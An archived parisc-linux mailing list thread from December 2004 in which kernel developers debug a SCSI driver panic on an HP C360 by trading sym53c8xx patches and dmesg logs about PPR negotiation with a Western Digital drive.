parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Mon, 27 Dec 2004 20:45:34 -0500
Organization: wh0rd.org
Lines: 103
Approved: news@gmane.org
Message-ID: <200412272045.34143.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<41CF56AD.2010504@tiscali.be>
	<20041227004909.GI11543@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_+qL0B9m7v2Nw3RU"
X-Trace: ger.gmane.org 1416624515 26522 80.91.229.3 (22 Nov 2014 02:48:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2004 01:46:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 28 Dec 2004 02:46:10 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DEA4A3BC80; Mon, 27 Dec 2004 18:46:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24966-01; Mon, 27 Dec 2004 18:46:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C379C3BE56; Mon, 27 Dec 2004 18:45:36 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D66753BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 18:45:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21568-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 18:45:29 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AC98F3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 18:45:29 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 334C8495617; Mon, 27 Dec 2004 18:45:29 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 7AC46495612
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Dec 2004 18:45:28 -0700 (MST)
Original-Received: (qmail 30550 invoked from network); 27 Dec 2004 20:45:24 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 27 Dec 2004 20:45:24 -0500
Original-Received: (qmail 18136 invoked from network); 27 Dec 2004 20:45:22 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Dec 2004 20:45:22 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <20041227004909.GI11543@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25042

--Boundary-00=_+qL0B9m7v2Nw3RU
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Sunday 26 December 2004 07:49 pm, Matthew Wilcox wrote:
> Yes, but the problem is with the Western Digital drive, so you
> can't provoke the problem.

tried jejb's patch on irc:
--- 1.22/drivers/scsi/sym53c8xx_2/sym_hipd.c    2004-10-24 11:08:18 -05:00
+++ edited/sym_hipd.c   2004-12-27 16:33:50 -06:00
@@ -4176,7 +4176,7 @@
 
        if (ofs) {
                unsigned char minsync = dt ? np->minsync_dt : np->minsync;
-               if (per < np->minsync_dt) {
+               if (per < minsync) {
                        chg = 1;
                        per = minsync;
                }

it didnt panic, but it looks like the kernel went into an infinite loop ...

find attached new dmesg
-mike

--Boundary-00=_+qL0B9m7v2Nw3RU
Content-Type: text/plain; charset="iso-8859-1";
	name="2.6.10-pa1-scsi-debug-patch1"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-debug-patch1"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-0.
sym0:6:sync msgin: 1-3-1-c-0.
sym0:6:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:6: wide asynchronous.
sym0:6:sync msgout: 1-3-1-c-10.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9:ppr msgout: 1-6-4-c-0-0-0-0.
sym0:9:ppr msgin: 1-6-4-a-0-0-0-0.
sym0:9: asynchronous.
sym0:9:ppr msgout: 1-6-4-c-0-0-1-0.
sym0:9:ppr msgin: 1-6-4-a-0-0-1-0.
sym0:9: wide asynchronous.
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
sym0:9:ppr msgin: 1-6-4-a-0-10-1-0.
sym0:9: asynchronous.
sym0:9:0:M_REJECT to send for : 1-6-4-a-0-10-1-0.
sym0:9:0: ABORT operation started.
sym0:9:0: ABORT operation timed-out.
sym0:9:0: DEVICE RESET operation started.
sym0:9:0: DEVICE RESET operation timed-out.
sym0:9:0: BUS RESET operation started.
sym0: SCSI BUS reset detected.
sym0: SCSI BUS has been reset.
sym0:9:0: BUS RESET operation complete.
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
sym0:9:ppr msgin: 1-6-4-a-0-10-1-0.
sym0:9:0:M_REJECT to send for : 1-6-4-a-0-10-1-0.
sym0:9:0: ABORT operation started.
sym0:9:0: ABORT operation timed-out.
sym0:9:0: HOST RESET operation started.
sym0: SCSI BUS has been reset.

--Boundary-00=_+qL0B9m7v2Nw3RU
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_+qL0B9m7v2Nw3RU--



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Mon, 27 Dec 2004 21:30:20 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <1104204620.7447.33.camel@mulgrave>
References: <200412260504.40205.vapier@gentoo.org>
	<41CF56AD.2010504@tiscali.be>
	<20041227004909.GI11543@parcelfarce.linux.theplanet.co.uk>
	<200412272045.34143.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624515 26526 80.91.229.3 (22 Nov 2014 02:48:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2004 03:31:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 28 Dec 2004 04:31:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 98CAB3BE53; Mon, 27 Dec 2004 20:31:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25665-03; Mon, 27 Dec 2004 20:31:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3596A3BE56; Mon, 27 Dec 2004 20:30:35 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A6413BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:30:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24966-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:30:29 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9BB363BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:30:29 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 565F8495617; Mon, 27 Dec 2004 20:30:29 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP id DF096495612
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Dec 2004 20:30:28 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iBS3UQF25477; Mon, 27 Dec 2004 22:30:26 -0500
In-Reply-To: <200412272045.34143.vapier@gentoo.org>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25043

On Mon, 2004-12-27 at 20:45 -0500, Mike Frysinger wrote:
> it didnt panic, but it looks like the kernel went into an infinite loop ...

Well, I think that's the fault of your drive:

> sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.

This is where the 875 offers an offset of 16 at FAST-20 which is the
best it can do.

> sym0:9:ppr msgin: 1-6-4-a-0-10-1-0.

This is where your WD says I accept your offer at offset 16 and FAST-40
(which is beyond the 875's capabilities).

This is illegal under the SCSI spec (you can only accept at a period of
greater than the offer, not less than).  The patch I gave you spots the
problem and rejects the bogus offer.  Unfortunately, apparently now the
drive throws a wobbly and refuses to talk any more.

The question is how we coax it to negotiate within the rules...It's
possible it would work correctly if the negotiation used WDTR and SDTR
instead of PPR, so could you try the attached hack.

James

===== sym_hipd.c 1.22 vs edited =====
--- 1.22/drivers/scsi/sym53c8xx_2/sym_hipd.c	2004-10-24 11:08:18 -05:00
+++ edited/sym_hipd.c	2004-12-27 21:28:35 -06:00
@@ -1538,7 +1538,7 @@
 	/*
 	 *  negotiate using PPR ?
 	 */
-	if (scsi_device_dt(sdev)) {
+	if (0 && scsi_device_dt(sdev)) {
 		nego = NS_PPR;
 	} else {
 		/*




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Tue, 28 Dec 2004 03:35:20 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <20041228033520.GO11543@parcelfarce.linux.theplanet.co.uk>
References: <200412260504.40205.vapier@gentoo.org>
	<41CF56AD.2010504@tiscali.be>
	<20041227004909.GI11543@parcelfarce.linux.theplanet.co.uk>
	<200412272045.34143.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624516 26531 80.91.229.3 (22 Nov 2014 02:48:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2004 03:35:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 28 Dec 2004 04:35:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1BF9F3BE51; Mon, 27 Dec 2004 20:35:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25665-08; Mon, 27 Dec 2004 20:35:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EDCA93BE59; Mon, 27 Dec 2004 20:35:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79DF43BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:35:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25510-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:35:28 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 58AD53BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:35:28 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 271AC495617; Mon, 27 Dec 2004 20:35:28 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id ACA5B495612
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Dec 2004 20:35:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Cj88m-0006JC-Ij; Tue, 28 Dec 2004 03:35:20 +0000
Content-Disposition: inline
In-Reply-To: <200412272045.34143.vapier@gentoo.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25044

On Mon, Dec 27, 2004 at 08:45:34PM -0500, Mike Frysinger wrote:
> it didnt panic, but it looks like the kernel went into an infinite loop ...

Yeah, now it looks like a problem a bunch of other people have been having ;-(

> sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
> sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
> sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
>   Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
>   Type:   Direct-Access                      ANSI SCSI revision: 03
> sym0:9:0: tagged command queuing enabled, command queue depth 16.
>  target0:0:9: Beginning Domain Validation
> sym0:9:ppr msgout: 1-6-4-c-0-0-0-0.
> sym0:9:ppr msgin: 1-6-4-a-0-0-0-0.

The SPI spec prohobits the device from going faster than we say.  The 'c'
in the msgout is us saying "we can only do FAST-20" (as the 875 is only
capable of FAST-20).  The 'a' in the msgin is the device saying "OK,
let's do FAST-40".

Can you try the following patch?  We're not actually disabling ppr atm,
depite what the comment says.

Index: drivers/scsi/sym53c8xx_2/sym_hipd.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_2/sym_hipd.c,v
retrieving revision 1.43
diff -u -p -r1.43 sym_hipd.c
--- drivers/scsi/sym53c8xx_2/sym_hipd.c 2 Dec 2004 19:51:11 -0000       1.43
+++ drivers/scsi/sym53c8xx_2/sym_hipd.c 28 Dec 2004 03:27:10 -0000
@@ -1444,7 +1444,11 @@ static void sym_check_goals(struct scsi_
                st->offset = 0;
                return;
        }
-               
+
+       /* Some targets fail to properly negotiate using PPR in SE mode */
+       if (!((np->scsi_mode == SMODE_LVD) && (np->features & FE_ULTRA3)))
+               sdev->ppr = 0;
+
        if (scsi_device_dt(sdev)) {
                if (scsi_device_dt_only(sdev))
                        st->options |= PPR_OPT_DT;
@@ -1454,10 +1458,6 @@ static void sym_check_goals(struct scsi_
        } else {
                st->options &= ~PPR_OPT_DT;
        }

From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Mon, 27 Dec 2004 22:49:24 -0500
Organization: wh0rd.org
Lines: 210
Approved: news@gmane.org
Message-ID: <200412272249.24785.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<200412272045.34143.vapier@gentoo.org>
	<1104204620.7447.33.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_EfN0Bq8x0SMuXVk"
X-Trace: ger.gmane.org 1416624516 26534 80.91.229.3 (22 Nov 2014 02:48:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2004 03:49:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 28 Dec 2004 04:49:51 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 80A803BE5D; Mon, 27 Dec 2004 20:49:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25913-04; Mon, 27 Dec 2004 20:49:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C17963BE56; Mon, 27 Dec 2004 20:49:29 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFB5A3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:49:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25510-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:49:23 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id ECF633BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 20:49:22 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id BB263495617; Mon, 27 Dec 2004 20:49:22 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 0C872495612
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Dec 2004 20:49:21 -0700 (MST)
Original-Received: (qmail 32114 invoked from network); 27 Dec 2004 22:49:15 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 27 Dec 2004 22:49:15 -0500
Original-Received: (qmail 17121 invoked from network); 27 Dec 2004 22:49:12 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Dec 2004 22:49:12 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <1104204620.7447.33.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25045

--Boundary-00=_EfN0Bq8x0SMuXVk
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Monday 27 December 2004 10:30 pm, James Bottomley wrote:
> Well, I think that's the fault of your drive:

i make no claims that it's perfect :)

> The question is how we coax it to negotiate within the rules...It's
> possible it would work correctly if the negotiation used WDTR and SDTR
> instead of PPR, so could you try the attached hack.
> - if (scsi_device_dt(sdev)) {
> + if (0 && scsi_device_dt(sdev)) {

revereted the minsync patch (not sure if you guys wanted me to, but i did 
anyways) and applied this one ... worked much nicer from my perspective ;)

system booted and i can read the drive just fine ... find attached updated 
dmesg
-mike

--Boundary-00=_EfN0Bq8x0SMuXVk
Content-Type: text/plain; charset="iso-8859-1";
	name="2.6.10-pa1-scsi-debug-patch2"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-debug-patch2"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-0.
sym0:6:sync msgin: 1-3-1-c-0.
sym0:6:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:6: wide asynchronous.
sym0:6:sync msgout: 1-3-1-c-10.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Domain Validation skipping write tests
